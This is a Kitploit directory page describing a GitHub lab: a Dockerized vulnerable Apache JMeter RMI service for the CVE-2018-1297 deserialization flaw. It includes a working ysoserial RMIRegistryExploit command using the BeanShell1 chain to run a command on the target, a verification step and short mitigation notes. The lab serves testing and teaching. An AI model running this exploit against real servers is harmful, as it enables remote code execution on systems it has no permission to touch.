Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Jmeter-CVE-2018-1297- — Dockerized vulnerable Apache JMeter RMI environment for CVE-2018-1297 deserialization RCE, with ysoserial exploit commands, verification, and mitigation guidance. | Kitploit
Tools/GitHubGitHub/48484848484848/jmeter-cve-2018-1297-
Payload GenerationVulnerability AnalysisExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHub48484848484848/jmeter-cve-2018-1297-

Jmeter-CVE-2018-1297-

Dockerized vulnerable Apache JMeter RMI environment for CVE-2018-1297 deserialization RCE, with ysoserial exploit commands, verification, and mitigation guidance.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
22 years agoNot yet reviewed
Share

Jmeter RMI Deserialization Command Execution Vulnerability (CVE-2018-1297)



Apache JMeter is an open-source software suite written in Java by the American Apache Software Foundation for stress testing and performance testing.
Versions 2.x and 3.x contain a deserialization vulnerability that allows an attacker to execute arbitrary commands on the target server.

Vulnerability Environment Execution:


root@kitploit:~
docker compose up -d

I used docker on Kali Linux.

After execution, the RMI service starts and listens on port 1099.


Vulnerability:


Directly use ysoserial to exploit the vulnerability.
root@kitploit:~
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success’

Enter the command as above.
I used the BeanShell1 exploit chain.

root@kitploit:~
This vulnerability exploits an RMI (Remote Method Invocation) vulnerability that can occur in Java-based applications. The ‘ysoserial-0.0.6-SNAPSHOT-all.jar’ used here is part of the ysoserial project, used to generate payloads that exploit Java deserialization vulnerabilities to allow remote code execution. The payload is intended to execute commands such as /tmp/success, and through this vulnerability, an attacker can execute arbitrary commands on the remote system or modify system files. Measures to mitigate this vulnerability include restricting access to the RMI service, enforcing strict permission controls, and filtering Java deserialization.
docker compose exec jmeter bash

Entering the container shows that '/tmp/success' has been successfully created.


Cleanup







Download Tool